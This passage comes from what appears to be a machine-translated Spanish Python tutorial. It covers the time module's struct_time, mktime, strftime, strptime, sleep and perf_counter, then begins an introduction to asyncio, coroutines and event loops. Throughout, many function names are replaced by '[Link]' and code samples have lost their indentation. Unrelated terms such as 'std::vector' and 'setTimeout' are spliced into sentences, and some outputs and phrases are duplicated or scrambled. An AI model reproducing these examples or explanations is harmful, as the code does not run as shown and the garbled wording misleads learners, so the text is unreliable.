lugar de 7en el ejemplo anterior, debido al horario de verano.
Desde Python 3.3, struct_timetambién se han incluido dos atributos que resultan útiles
para determinar la zona horaria del struct_time:
1. tm_zone
2. tm_gmtoff
Al principio, estos atributos dependían de la plataforma, pero han estado disponibles en
todas las plataformas desde Python 3.6.
Primero, tm_zonealmacena la zona horaria local:
>>> import time
>>> current_local = [Link]()
>>> current_local.tm_zone
'CST'
Aquí, puede ver que localtime()devuelve un valor struct_timecon la zona horaria
establecida en CST(Hora Estándar Central).
Como viste anteriormente, también puedes determinar la zona horaria basándote en dos
datos: la diferencia horaria UTC y el horario de verano (si corresponde):
>>> import time
>>> current_local = [Link]()
>>> current_local.tm_gmtoff
-21600
>>> current_local.tm_isdst
0
En este caso, se puede observar que current_localestá 21600unos segundos por
detrás de GMT, que significa Hora del Meridiano de Greenwich. GMT es la zona horaria
sin diferencia horaria con respecto a UTC: UTC±00:00.
21600segundos dividido por segundos por hora (3600) significa
que current_localel tiempo es GMT-06:00(o UTC-06:00).
Puedes utilizar la diferencia horaria GMT más el estado del horario de verano para deducir
que current_localse trata UTC-06:00de la hora estándar, que corresponde a la
zona horaria estándar central.
Por ejemplo gmtime(), puedes ignorar el secsargumento al llamar a la
función localtime(), y te devolverá la hora local actual en un formato
de struct_time:
>>> import time
>>> [Link]()
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=1, tm_hour=8, tm_min=34,
tm_sec=28, tm_wday=4, tm_yday=60, tm_isdst=0)
A diferencia de gmtime(), la función inversa de localtime()sí existe en
el timemódulo de Python. Veamos cómo funciona.
Conversión de un objeto de hora local a segundos
Ya has visto cómo convertir un objeto de tiempo UTC a segundos
usando [Link](). Para convertir la hora local a segundos,
usarás mktime().
mktime()requiere que se pase un parámetro llamado tque toma la forma de una tupla
normal de 9 elementos o un struct_timeobjeto que representa la hora local:
>>> import time
>>> time_tuple = (2019, 3, 10, 8, 50, 6, 6, 69, 1)
>>> [Link](time_tuple)
1552225806.0
>>> time_struct = time.struct_time(time_tuple)
>>> [Link](time_struct)
1552225806.0
Es importante tener en cuenta que tdebe ser una tupla que represente la hora local, no la
hora UTC:
>>> from time import gmtime, mktime
>>> # 1
>>> current_utc = [Link]()
>>> current_utc
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=1, tm_hour=14, tm_min=51,
tm_sec=19, tm_wday=4, tm_yday=60, tm_isdst=0)
>>> # 2
>>> current_utc_secs = mktime(current_utc)
>>> current_utc_secs
1551473479.0
>>> # 3
>>> [Link](current_utc_secs)
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=1, tm_hour=20, tm_min=51,
tm_sec=19, tm_wday=4, tm_yday=60, tm_isdst=0)
Nota: Para este ejemplo, suponga que la hora local es March 1, 2019 08:51:19
CST.
Este ejemplo muestra por qué es importante usar mktime()la hora local en lugar de la
hora UTC:
1. gmtime()Sin argumentos, devuelve un
valor usando struct_timeUTC. Esto es correcto porque UTC debería estar 6
horas adelantado con respecto a la hora local. current_utcMarch 1, 2019
14:51:19 UTCCST is UTC-06:00
2. mktime()Intenta devolver el número de segundos, esperando la hora local,
pero le has pasado current_utcotra cosa. Por lo tanto, en lugar de entender
que current_utcse trata de la hora UTC, asume que querías decir March 1,
2019 14:51:19 CST.
3. gmtime()Luego se utiliza para convertir esos segundos de nuevo a UTC, lo
que genera una inconsistencia. La hora actual es March 1, 2019 20:51:19
UTC. La razón de esta discrepancia es que mktime()se esperaba la hora local.
Por lo tanto, la conversión de nuevo a UTC añade otras 6 horas a la hora local.
Trabajar con zonas horarias es notoriamente difícil, por lo que es importante prepararse
para el éxito comprendiendo las diferencias entre la hora UTC y la hora local, así como las
funciones de tiempo de Python que se ocupan de cada una.
Convertir un objeto de tiempo de Python a una cadena
Si bien trabajar con tuplas es divertido, a veces es mejor trabajar con cadenas.
Las representaciones de tiempo en formato de cadena, también conocidas como marcas de
tiempo, ayudan a que las horas sean más legibles y pueden ser especialmente útiles para
crear interfaces de usuario intuitivas.
Existen dos timefunciones de Python que se utilizan para convertir
un time.struct_time objeto en una cadena de texto:
1. asctime()
2. strftime()
Comenzarás aprendiendo sobre asctime().
asctime()
Se utiliza asctime()para convertir una tupla de tiempo struct_time en una
marca de tiempo:
>>> import time
>>> [Link]([Link]())
'Fri Mar 1 18:42:08 2019'
>>> [Link]([Link]())
'Fri Mar 1 12:42:15 2019'
Ambas gmtime()funciones localtime()devuelven struct_timeinstancias, para
la hora UTC y la hora local respectivamente.
Puedes usar `to` asctime()para convertir cualquiera de los dos struct_timea una
marca de tiempo. asctime()Funciona de forma similar a ctime()`to`, que aprendiste
anteriormente en este artículo, solo que en lugar de pasar un número de punto flotante,
pasas una tupla. Incluso el formato de la marca de tiempo es el mismo en ambas funciones.
Al igual que con ctime(), el parámetro para asctime()es opcional. Si no se pasa un
objeto de tiempo a asctime(), se utilizará la hora local actual:
>>> import time
>>> [Link]()
'Fri Mar 1 12:56:07 2019'
Al igual que con ctime(), también ignora la información de localización.
Una de las mayores desventajas de asctime()es su inflexibilidad de
formato. strftime()resuelve este problema permitiéndote formatear tus marcas de
tiempo.
strftime()
Es posible que te encuentres en una situación donde el formato de cadena de
`from` ctime()y asctime()`to` no sea satisfactorio para tu aplicación. En ese caso,
quizás prefieras formatear las cadenas de una manera más significativa para tus usuarios.
Un ejemplo de esto es si desea mostrar la hora en una cadena de texto que tenga en cuenta
la información de configuración regional.
Para formatear cadenas, dado un struct_timearray o una tupla de tiempo de Python, se
utiliza `string formatstrftime() time` , que significa "formato de cadena de tiempo".
strftime()requiere dos argumentos:
1. formatespecifica el orden y la forma de los elementos de tiempo en
su cadena.
2. tes una tupla de tiempo opcional.
Para dar formato a una cadena, se utilizan directivas . Las directivas son secuencias de
caracteres que comienzan con una %comilla simple y especifican un elemento de tiempo
determinado, como por ejemplo:
%dDía del mes
%mMes del año
%Y: Año
Por ejemplo, puede mostrar la fecha en su hora local utilizando el estándar ISO 8601 de la
siguiente manera:
>>> import time
>>> [Link]('%Y-%m-%d', [Link]())
'2019-03-01'
Lecturas adicionales: Si bien representar fechas usando la hora de Python es
completamente válido y aceptable, también debería considerar usar datetimeel módulo
de Python, que proporciona atajos y un marco más robusto para trabajar con fechas y horas
juntas.
Por ejemplo, puede simplificar la salida de una fecha en formato ISO 8601
utilizando datetime:
>>> from datetime import date
>>> date(year=2019, month=3, day=1).isoformat()
'2019-03-01'
Para obtener más información sobre el uso del datetimemódulo datetime de Python,
consulte el artículo " Usar datetime de Python para trabajar con fechas y horas".
Como ya viste anteriormente, una gran ventaja de usar strftime()over asctime()es
su capacidad para mostrar marcas de tiempo que utilizan información específica de la
configuración regional.
Por ejemplo, si desea representar la fecha y la hora de forma que tenga en cuenta la
configuración regional, no puede usar asctime():
>>> from time import asctime
>>> asctime()
'Sat Mar 2 15:21:14 2019'
>>> import locale
>>> [Link](locale.LC_TIME, 'zh_HK') # Chinese - Hong Kong
'zh_HK'
>>> asctime()
'Sat Mar 2 15:58:49 2019'
Observe que, incluso después de cambiar la configuración regional mediante
programación, asctime()sigue devolviendo la fecha y la hora en el mismo formato que
antes.
Detalle técnico: LC_TIME es la categoría de configuración regional para el formato de
fecha y hora. El localeargumento 'zh_HK'puede variar según el sistema.
Sin embargo, cuando lo uses strftime(), verás que tiene en cuenta la configuración
regional:
>>> from time import strftime, localtime
>>> strftime('%c', localtime())
'Sat Mar 2 15:23:20 2019'
>>> import locale
>>> [Link](locale.LC_TIME, 'zh_HK') # Chinese - Hong Kong
'zh_HK'
>>> strftime('%c', localtime())
'六 3/ 2 15:58:12 2019' 2019'
Aquí, has utilizado correctamente la información de localización porque has
usado strftime().
Nota: %c es la directiva para la fecha y hora adecuadas a la configuración regional.
Si no se pasa la tupla de tiempo al parámetro t, strftime()se utilizará el
resultado localtime()por defecto. Por lo tanto, podrías simplificar los ejemplos
anteriores eliminando el segundo argumento opcional:
>>> from time import strftime
>>> strftime('The current local datetime is: %c')
'The current local datetime is: Fri Mar 1 23:18:32 2019'
Aquí has usado la hora predeterminada en lugar de pasar una propia como argumento. Ten
en cuenta también que el formatargumento puede contener texto que no sean directivas
de formato.
Lecturas adicionales: Consulte esta lista exhaustiva de directivas disponibles
para strftime().
El timemódulo de Python también incluye la operación inversa de convertir una marca de
tiempo de nuevo en un struct_timeobjeto.
Convertir una cadena de tiempo de Python a un objeto
Cuando se trabaja con cadenas de texto relacionadas con fechas y horas, puede resultar muy
útil convertir la marca de tiempo en un objeto de tiempo.
Para convertir una cadena de tiempo a un formato de cadena de tiempo struct_time, se
utiliza `string parsestrptime() time` , que significa "cadena de tiempo analizada":
>>> from time import strptime
>>> strptime('2019-03-01', '%Y-%m-%d')
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=1, tm_hour=0, tm_min=0,
tm_sec=0, tm_wday=4, tm_yday=60, tm_isdst=-1)
El primer argumento strptime()debe ser la marca de tiempo que desea convertir. El
segundo argumento es el formato formaten el que se encuentra la marca de tiempo.
El formatparámetro es opcional y su valor predeterminado es '%a %b %d %H:
%M:%S %Y'. Por lo tanto, si tiene una marca de tiempo en ese formato, no necesita
pasarla como argumento:
>>> strptime('Fri Mar 01 23:38:40 2019')
time.struct_time(tm_year=2019, tm_mon=3, tm_mday=1, tm_hour=23, tm_min=38,
tm_sec=40, tm_wday=4, tm_yday=60, tm_isdst=-1)
Dado que a struct_timetiene 9 componentes clave de fecha y hora, strptime()debe
proporcionar valores predeterminados razonables para aquellos componentes que no puede
analizar desde string.
En los ejemplos anteriores, tm_isdst=-1. Esto significa que strptime()no se puede
determinar por la marca de tiempo si representa el horario de verano o no.
Ahora ya sabes cómo trabajar con fechas y horas en Python usando el timemódulo de
diversas maneras. Sin embargo, existen otros usos timeademás de simplemente crear
objetos de tiempo, obtener cadenas de tiempo en Python y usar los segundos transcurridos
desde la época.
Suspensión de la ejecución
Una función de tiempo realmente útil en Python es `time` sleep(), que suspende la
ejecución del hilo durante un tiempo determinado.
Por ejemplo, puedes suspender la ejecución de tu programa durante 10 segundos de esta
manera:
>>> from time import sleep, strftime
>>> strftime('%c')
'Fri Mar 1 23:49:26 2019'
>>> sleep(10)
>>> strftime('%c')
'Fri Mar 1 23:49:36 2019'
Tu programa imprimirá la primera datetimecadena formateada, hará una pausa de 10
segundos y finalmente imprimirá la segunda datetimecadena formateada.
También puedes pasar fracciones de segundo a sleep():
>>> from time import sleep
>>> sleep(0.5)
sleep()Es útil para realizar pruebas o hacer que su programa espere por cualquier
motivo, pero debe tener cuidado de no detener su código de producción a menos que tenga
una buena razón para hacerlo.
Antes de Python 3.5, una señal enviada a tu proceso podía interrumpirlo sleep(). Sin
embargo, en la versión 3.5 y posteriores, sleep()`send` siempre suspenderá la ejecución
durante al menos el tiempo especificado, incluso si el proceso recibe una señal.
sleep()es solo una función de tiempo de Python que puede ayudarte a probar tus
programas y hacerlos más robustos.
Medición del rendimiento
Puedes utilizarlo timepara medir el rendimiento de tu programa .
Para ello, se utiliza perf_counter()un contador de rendimiento de alta resolución,
como su nombre indica, que permite medir intervalos de tiempo cortos.
Para usarlo perf_counter(), debes colocar un contador antes de que tu código
comience a ejecutarse, así como después de que finalice su ejecución:
>>> from time import perf_counter
>>> def longrunning_function():
... for i in range(1, 11):
... [Link](i / i ** 2)
...
>>> start = perf_counter()
>>> longrunning_function()
>>> end = perf_counter()
>>> execution_time = (end - start)
>>> execution_time
8.201258441999926
Primero, startse captura el momento anterior a la llamada a la función. Luego, endse
captura el momento posterior a la ejecución de la función. El tiempo total de ejecución de
la función fue (end - start)de segundos.
Detalle técnico: Python 3.7 introdujo perf_counter_ns(), que funciona igual
que perf_counter(), pero utiliza nanosegundos en lugar de segundos.
perf_counter()(o perf_counter_ns()) es la forma más precisa de medir el
rendimiento de tu código con una sola ejecución. Sin embargo, si intentas evaluar con
precisión el rendimiento de un fragmento de código, te recomiendo usar el módulo de
Pythontimeit .
timeitSe especializa en ejecutar el código muchas veces para obtener un análisis de
rendimiento más preciso y le ayuda a evitar simplificar demasiado la medición del tiempo,
así como otros errores comunes.
Asyncio
concurrente mediante las palabras clave `async` asyncy `await` await. Los componentes
básicos de la E/S asíncrona en Python son objetos que se pueden esperar —generalmente
corrutinas— que un bucle de eventos programa y ejecuta de forma asíncrona. Este modelo
de programación permite gestionar de forma eficiente múltiples tareas con uso intensivo de
E/S dentro de un único hilo de ejecución.
En este tutorial, aprenderás cómo asynciofunciona Python, cómo definir y ejecutar
corrutinas y cuándo usar programación asíncrona para un mejor rendimiento en
aplicaciones que realizan tareas con uso intensivo de E/S.
Al finalizar este tutorial, comprenderás que:
Python proporciona un marco para escribir código concurrenteasyncio de un solo
hilo utilizando corrutinas , bucles de eventos y operaciones de E/S no
bloqueantes .
Para tareas con uso intensivo de E/S, la E/S asíncrona a menudo puede superar el
rendimiento del multihilo —especialmente al administrar una gran cantidad de
tareas simultáneas— porque evita la sobrecarga de la administración de hilos.
Debes usarlo asynciocuando tu aplicación pase un tiempo significativo
esperando operaciones de E/S , como solicitudes de red o acceso a archivos, y
quieras ejecutar muchas de estas tareas simultáneamente sin crear subprocesos o
procesos adicionales.
A través de ejemplos prácticos, adquirirás las habilidades prácticas para escribir código
Python eficiente asyncioque se adapta sin problemas al aumento de las demandas de E/S.
Obtén tu código: Haz clic aquí para descargar el código de muestra gratuito que
usarás para aprender sobre E/S asíncrona en Python.
Haz el cuestionario: Pon a prueba tus conocimientos con nuestro cuestionario interactivo
“asyncio de Python: Una guía práctica”. Recibirás una puntuación al finalizar para ayudarte
a seguir tu progreso de aprendizaje.
Cuestionario interactivo
asyncio de Python: Una guía práctica
Pon a prueba tus conocimientos sobre la concurrencia de `asyncio` con este cuestionario
que abarca corrutinas, bucles de eventos y gestión eficiente de tareas con uso intensivo de
E/S.
Un primer vistazo a la E/S asíncrona
Antes de explorar asyncio, conviene dedicar un momento a comparar la E/S asíncrona
con otros modelos de concurrencia para ver cómo se integra en el panorama más amplio, a
veces complejo, de Python. Aquí tienes algunos conceptos esenciales para empezar:
El paralelismo consiste en ejecutar múltiples operaciones al mismo
tiempo.
El multiprocesamiento es un método para lograr el paralelismo que
consiste en distribuir las tareas entre los núcleos de la unidad central
de procesamiento (CPU) de un ordenador. El multiprocesamiento
resulta idóneo para tareas que requieren un uso intensivo de la CPU,
como forbucles muy ajustados y cálculos matemáticos.
La concurrencia es un término ligeramente más amplio que el
paralelismo, ya que sugiere que varias tareas pueden ejecutarse de
forma simultánea. La concurrencia no implica necesariamente
paralelismo.
El multihilo es un modelo de ejecución concurrente en el que varios
hilos se turnan para ejecutar tareas. Un único proceso puede contener
varios hilos. La relación de Python con el multihilo es compleja debido
al bloqueo global del intérprete (GIL) , pero esto queda fuera del
alcance de este tutorial.
El uso de subprocesos es útil para tareas con alta carga de E/S . Una tarea con alta carga
de E/S se caracteriza por una gran cantidad de esperas para que se completen las
operaciones de entrada/salida (E/S) , mientras que una tarea con alta carga de CPU se
caracteriza por el trabajo continuo e intenso de los núcleos del ordenador de principio a fin.
La biblioteca estándar de Python ha ofrecido soporte de larga data para estos modelos a
través de sus paquetes multiprocessing, [Link],
y .threading
Ahora es el momento de incorporar un nuevo elemento. En los últimos años, se ha
integrado de forma más completa un modelo independiente en CPython : la entrada/salida
asíncrona , comúnmente llamada E/S asíncrona . Este modelo se habilita mediante el
paquete de la biblioteca estándar asyncioy las palabras clave `async` asyncy
`async` await.
Nota: La E/S asíncrona no es un concepto nuevo. Existe —o se está incorporando— en
otros lenguajes como Go , C# y Rust .
asyncioLa documentación de Python describe el paquete como una biblioteca para
escribir código concurrente . Sin embargo, la E/S asíncrona no es multihilo ni
multiprocesamiento. No se basa en ninguna de estas tecnologías.
La E/S asíncrona es una técnica de un solo hilo y un solo proceso que utiliza multitarea
cooperativa . La E/S asíncrona da la sensación de concurrencia a pesar de usar un solo hilo
en un solo proceso. Las corrutinas —o coro , para abreviar— son una característica
fundamental de la E/S asíncrona y pueden programarse de forma concurrente, pero no son
inherentemente concurrentes.
En resumen, la E/S asíncrona es un modelo de programación concurrente, pero no es
paralelismo. Se asemeja más al uso de hilos que al multiprocesamiento, pero difiere de
ambos y constituye un componente independiente del ecosistema de la concurrencia.
Queda un término más. ¿Qué significa que algo sea asíncrono ? Esta no es una definición
rigurosa, pero para los fines de este tutorial, puedes pensar en dos propiedades clave:
1. Las rutinas asíncronas pueden pausar su ejecución mientras esperan
un resultado y permitir que otras rutinas se ejecuten mientras tanto.
2. El código asíncrono facilita la ejecución simultánea de tareas
mediante la coordinación de rutinas asíncronas.
Aquí tenéis un diagrama que lo resume todo. Los términos en blanco representan
conceptos, y los términos en verde representan las formas en que se implementan:
Diagrama
comparativo de concurrencia y paralelismo en Python (hilos, E/S asíncrona,
multiprocesamiento)
Para un análisis exhaustivo de hilos, multiprocesamiento y E/S asíncrona, detente aquí y
consulta el tutorial «Acelera tu programa Python con concurrencia» . Por ahora, nos
centraremos en la E/S asíncrona.
Explicación de la E/S asíncrona
La E/S asíncrona puede parecer contraintuitiva y paradójica al principio. ¿Cómo es posible
que algo que facilita la ejecución de código concurrente utilice un solo hilo en un solo
núcleo de CPU? La charla de Miguel Grinberg en PyCon lo explica todo de forma muy
acertada:
La maestra de ajedrez Judit Polgár organiza una exhibición de ajedrez en la que juega
contra varios jugadores aficionados. Tiene dos formas de llevar a cabo la exhibición: de
forma síncrona y asíncrona .
Supuestos:
24 oponentes
Judit realiza cada movimiento de ajedrez en 5 segundos.
Los oponentes disponen de 55 segundos para realizar un movimiento.
Las partidas tienen un promedio de 30 movimientos por parejas (60
movimientos en total).
Versión síncrona : Judit juega una partida a la vez, nunca dos simultáneamente, hasta que
la partida finaliza. Cada partida dura (55 + 5) * 30 == 1800 segundos, o 30 minutos. La
exhibición completa dura 24 * 30 == 720 minutos, o 12 horas .
Versión asíncrona : Judit se desplaza de mesa en mesa, realizando una jugada en cada una.
Abandona la mesa y deja que el oponente haga su siguiente jugada durante el tiempo de
espera. Una jugada en las 24 partidas le lleva a Judit 24 * 5 = 120 segundos, o 2 minutos.
La exhibición completa se reduce ahora a 120 * 30 = 3600 segundos, o tan solo 1 hora .
( Fuente )
Solo existe una Judit Polgár, que realiza un solo movimiento a la vez. Jugar de forma
asíncrona reduce el tiempo de la exhibición de 12 horas a 1 hora. La E/S asíncrona aplica
este principio a la programación. En la E/S asíncrona, el bucle de eventos de un programa
—del que hablaremos más adelante— ejecuta múltiples tareas, permitiendo que cada una se
ejecute por turnos en el momento óptimo.
La E/S asíncrona gestiona funciones de larga duración —como una partida de ajedrez
completa en el ejemplo anterior— que bloquearían la ejecución de un programa (el tiempo
de Judit Polgár). Las administra de forma que otras funciones puedan ejecutarse durante ese
tiempo de inactividad. En el ejemplo del ajedrez, Judit Polgár juega con otro participante
mientras los anteriores realizan sus movimientos.
La E/S asíncrona no es sencilla
Crear código multihilo robusto puede ser complejo y propenso a errores. La E/S asíncrona
evita algunos de los posibles problemas de rendimiento que podrían surgir con un diseño
multihilo. Sin embargo, esto no significa que la programación asíncrona sea una tarea
sencilla en Python.
Ten en cuenta que la programación asíncrona puede complicarse si profundizas un poco
más. El modelo asíncrono de Python se basa en conceptos como callbacks, corrutinas,
eventos, transportes, protocolos y futuros ; incluso la terminología puede resultar
intimidante.
Dicho esto, el ecosistema en torno a la programación asíncrona en Python ha mejorado
significativamente. El asynciopaquete ha madurado y ahora ofrece una API estable .
Además, su documentación se ha renovado por completo y han surgido recursos de alta
calidad sobre el tema.
Entrada/salida asíncrona en Python con asyncio
Ahora que ya conoces los conceptos básicos de E/S asíncrona como modelo de
concurrencia, es hora de explorar la implementación en Python. asyncioEl paquete
`async` de Python y sus dos palabras clave relacionadas, `async` asyncy await`async`,
tienen propósitos diferentes, pero se combinan para ayudarte a declarar, construir, ejecutar
y gestionar código asíncrono.
Corrutinas y funciones de corrutina
La base de la E/S asíncrona es el concepto de corrutina , un objeto que puede suspender su
ejecución y reanudarla posteriormente. Mientras tanto, puede ceder el control a un bucle de
eventos, que a su vez puede ejecutar otra corrutina. Los objetos de corrutina resultan de la
llamada a una función de corrutina , también conocida como función asíncrona . Se
definen mediante la async def construcción `coroutine`.
Antes de escribir tu primer fragmento de código asíncrono, considera el siguiente ejemplo
que se ejecuta de forma síncrona:
[Link]
import time
def count():
print("One")
[Link](1)
print("Two")
[Link](1)
def main():
for _ in range(3):
count()
if __name__ == "__main__":
start = time.perf_counter()
main()
elapsed = time.perf_counter() - start
print(f"{__file__} executed in {elapsed:0.2f} seconds.")
La count()función imprime One y espera un segundo, luego imprime Twoy espera
otro segundo. El bucle main()se ejecuta count()tres veces. A continuación, en la if
__name__ == "__main__"condición, se toma una instantánea del tiempo actual al
inicio de la ejecución, se llama a la función main(), se calcula el tiempo total y se
muestra en pantalla.
Al ejecutar este script , obtendrá el siguiente resultado:
$ python [Link]
One
Two
One
Two
One
Two
[Link] executed in 6.03 seconds.
El script imprime Onealternativamente Two, con un segundo de intervalo entre cada
impresión. En total, tarda algo más de seis segundos en ejecutarse.
Si actualizas este script para usar el modelo de E/S asíncrono de Python, se vería más o
menos así:
[Link]
import asyncio
async def count():
print("One")
await [Link](1)
print("Two")
await [Link](1)
async def main():
await [Link](count(), count(), count())
if __name__ == "__main__":
import time
start = time.perf_counter()
[Link](main())
elapsed = time.perf_counter() - start
print(f"{__file__} executed in {elapsed:0.2f} seconds.")
Ahora, usas la asyncpalabra clave `await` para convertirla count()en una función
corrutina que imprime un valor One, espera un segundo, luego imprime otro valor Twoy
espera otro segundo. Usas la awaitpalabra clave `await` para esperar la ejecución de la
función [Link](). Esto devuelve el control al bucle de eventos del programa,
indicando: « Voy a esperar un segundo. Mientras tanto, puedes ejecutar otra cosa».
La main()función es otra función corrutina que se utiliza [Link]()para
ejecutar tres instancias count()simultáneamente. Se utiliza [Link]()para
iniciar el bucle de eventos y ejecutar main().
Compara el rendimiento de esta versión con el de la versión síncrona:
$ python [Link]
One
One
One
Two
Two
Two
[Link] executed in 2.00 seconds.
Gracias al enfoque de E/S asíncrona, el tiempo total de ejecución es de poco más de dos
segundos en lugar de seis, lo que demuestra su eficiencia para asynciotareas con
limitaciones de E/S.
Aunque su uso [Link]()pueda [Link]()parecer trivial, sirven como
sustitutos de procesos que consumen mucho tiempo y que implican tiempos de espera. Una
llamada a `get` [Link]()puede representar una llamada a una función bloqueante
que consume tiempo, mientras que `get` [Link]()se utiliza para representar
una llamada no bloqueante que también tarda en completarse.
Como verás en la siguiente sección, la ventaja de usar `await`, incluyendo
`await` [Link](), es que la función que la contiene puede ceder temporalmente
el control a otra función que puede actuar de inmediato. En cambio,
`await` [Link]()o cualquier otra llamada bloqueante es incompatible con el código
asíncrono de Python porque detiene toda la ejecución durante el tiempo de espera.
Las asyncpalabras awaitclave
En este punto, conviene ofrecer una definición más formal de async, , y de las funciones
de corrutina que ayudan a crear:await
La async defconstrucción sintáctica introduce una función
corrutina o un generador asíncrono .
Las construcciones sintácticas async with`and` async
forintroducen withinstrucciones asíncronas y forbucles ,
respectivamente.
La awaitpalabra clave suspende la ejecución de la corrutina
circundante y devuelve el control al bucle de eventos.
Para aclarar un poco el último punto, cuando Python encuentra una await f()expresión
dentro del ámbito de una g()corrutina, awaitle indica al bucle de eventos que suspenda
la ejecución de la expresión g()hasta que se devuelva el resultado f(). Mientras tanto, se
debe ejecutar otra tarea.
En código, ese último punto se vería más o menos así:
async def g():
result = await f() # Pause and come back to g() when f() returns
return result
También existe un conjunto estricto de reglas sobre cuándo y cómo se pueden
usar async`and` await. Estas reglas son útiles tanto si aún estás aprendiendo la sintaxis
como si ya tienes experiencia en el uso de async`and` await.
Mediante esta async defconstrucción, se puede definir una función corrutina.
Puede utilizar await`async`, return`await` o yield`await`, pero todos estos
son opcionales:
o awaitreturnSe pueden usar `a`, `b` o ambos en funciones
corrutinas regulares. Para llamar a una función
corrutina, awaitdebe obtener su resultado o ejecutarla
directamente en un bucle de eventos.
o yieldEl uso de `in` en una async deffunción crea un
generador asíncrono. Para iterar sobre este generador, se puede
usar un async forbucle o una comprensión de bucle .
o async defNo puede usar yield from, lo que generará un
error SyntaxError.
Usar ` awaitwith` fuera de una async deffunción también genera una
excepción SyntaxError. Solo se puede usar awaitdentro del cuerpo de las
corrutinas.
Aquí tenéis algunos ejemplos concisos que resumen estas reglas:
async def f(x):
y = await z(x) # Okay - `await` and `return` allowed in coroutines
return y
async def g(x):
yield x # Okay - this is an async generator
async def m(x):
yield from gen(x) # No - SyntaxError
def n(x):
y = await z(x) # No - SyntaxError (no `async def` here)
return y
Finalmente, al usar `await` await f(), es necesario que ` await` f()sea un objeto
que admita esperas , ya sea otra corrutina o un objeto que defina
un .__await__() método especial que devuelva un iterador. En la mayoría de los casos,
solo necesitará preocuparse por las corrutinas.
Aquí tienes un ejemplo más detallado de cómo la E/S asíncrona reduce el tiempo de espera.
Supongamos que tienes una función corrutina make_random()que genera números
enteros aleatorios en el rango [0, 10] y finaliza cuando uno de ellos supera un umbral. En el
siguiente ejemplo, ejecutas esta función de forma asíncrona tres veces. Para diferenciar
cada llamada, usas colores:
[Link]
import asyncio
import random
COLORS = (
"\033[0m", # End of color
"\033[36m", # Cyan
"\033[91m", # Red
"\033[35m", # Magenta
)
async def main():
return await [Link](
makerandom(1, 9),
makerandom(2, 8),
makerandom(3, 8),
)
async def makerandom(delay, threshold=6):
color = COLORS[delay]
print(f"{color}Initiated makerandom({delay}).")
while (number := [Link](0, 10)) <= threshold:
print(f"{color}makerandom({delay}) == {number} too low; retrying.")
await [Link](delay)
print(f"{color}---> Finished: makerandom({delay}) == {number}" + COLORS[0])
return number
if __name__ == "__main__":
[Link](444)
r1, r2, r3 = [Link](main())
print()
print(f"r1: {r1}, r2: {r2}, r3: {r3}")
La imagen con colores es más elocuente que mil palabras. Así es como se ejecuta este
script:
Este programa define la makerandom()corrutina y la ejecuta simultáneamente con
tres entradas diferentes. La mayoría de los programas constan de corrutinas pequeñas y
modulares, y una función envolvente que permite encadenar cada corrutina. En este
caso main(), se reúnen las tres tareas. Las tres llamadas a la
función makerandom()constituyen el conjunto de tareas .
Aunque la generación de números aleatorios en este ejemplo es una tarea que consume
muchos recursos de la CPU, su impacto es mínimo. Esto [Link]()simula una
tarea que consume muchos recursos de E/S y demuestra que solo las tareas que consumen
muchos recursos de E/S o que no son bloqueantes se benefician del modelo de E/S
asíncrona.
El bucle de eventos de E/S asíncrona
En la programación asíncrona, un bucle de eventos funciona como un bucle infinito que
supervisa las corrutinas, recibe información sobre las que están inactivas y busca tareas que
puedan ejecutarse mientras tanto. Puede activar una corrutina inactiva cuando la tarea que
está esperando esté disponible.
La forma recomendada de iniciar un bucle de eventos en Python moderno es usar
` [Link](). Esta función se encarga de obtener el bucle de eventos, ejecutar las
tareas hasta que finalicen y cerrar el bucle. No se puede llamar a esta función si ya se está
ejecutando otro bucle de eventos asíncrono en el mismo código.
También puedes obtener una instancia del bucle en ejecución con
la get_running_loop()función:
loop = asyncio.get_running_loop()
Si necesitas interactuar con el bucle de eventos dentro de un programa Python, el patrón
anterior es una buena manera de hacerlo. El loopobjeto admite introspección con
`introspection` .is_running()y `introspection` .is_closed(). Esto puede ser útil
cuando quieres programar una devolución de llamada pasando el bucle como argumento,
por ejemplo. Ten en cuenta que ` get_running_loop()introspection` genera
una RuntimeErrorexcepción si no hay ningún bucle de eventos en ejecución.
Lo más importante es comprender lo que ocurre internamente en el bucle de eventos. He
aquí algunos puntos que conviene destacar:
Las corrutinas no hacen mucho por sí solas hasta que se vinculan al
bucle de eventos.
Por defecto, un bucle de eventos asíncrono se ejecuta en un solo hilo y
en un solo núcleo de CPU. En la mayoría de asynciolas aplicaciones,
solo habrá un bucle de eventos, normalmente en el hilo principal. Si
bien es técnicamente posible ejecutar varios bucles de eventos en
diferentes hilos, no suele ser necesario ni recomendable.
Los bucles de eventos son conectables. Puede escribir su propia
implementación y hacer que ejecute tareas igual que los bucles de
eventos proporcionados en asyncio.
Respecto al primer punto, si tienes una corrutina que espera a otras, llamarla de forma
aislada tiene poco efecto:
>>> import asyncio
>>> async def main():
... print("Hello...")
... await [Link](1)
... print("World!")
...
>>> routine = main()
>>> routine
<coroutine object main at 0x1027a6150>
En este ejemplo, la llamada main()directa devuelve un objeto corrutina que no se puede
usar de forma aislada. Es necesario usar ` [Link]()setTimeout` para programar la
ejecución de la main()corrutina en el bucle de eventos.
>>> [Link](routine)
Hello...
World!
Normalmente, se envuelve una main()corrutina en una [Link]()llamada. Se
pueden ejecutar corrutinas de bajo nivel con await.
Finalmente, el hecho de que el bucle de eventos sea conectable significa que puedes usar
cualquier implementación funcional de un bucle de eventos, y eso no tiene relación con la
estructura de tus corrutinas. El asynciopaquete incluye dos implementaciones diferentes
de bucle de eventos .
La implementación predeterminada del bucle de eventos depende de la plataforma y la
versión de Python. Por ejemplo, en Unix, el valor predeterminado suele ser
`std::vector` SelectorEventLoop, mientras que Windows utiliza
`std:: ProactorEventLoopvector` para una mejor compatibilidad con subprocesos y
E/S.
También existen bucles de eventos de terceros. Por ejemplo, el paquete uvloop proporciona
una implementación alternativa que promete ser más rápida que los asynciobucles
existentes.
El asyncioREPL
A partir de Python 3.8 , el asynciomódulo incluye un intérprete interactivo especializado
conocido como asyncio REPL . Este entorno permite usar asyncio awaitdirectamente en
el nivel superior, sin necesidad de envolver el código en una llamada a
`asyncio` [Link](). Esta herramienta facilita la experimentación, la depuración y
el aprendizaje de asyncio asyncioen Python.
Para iniciar el REPL , puede ejecutar el siguiente comando:
$ python -m asyncio
asyncio REPL 3.13.3 (main, Jun 25 2025, 17:27:59) ... on darwin
Use "await" directly instead of "[Link]()".
Type "help", "copyright", "credits" or "license" for more information.
>>> import asyncio
>>>
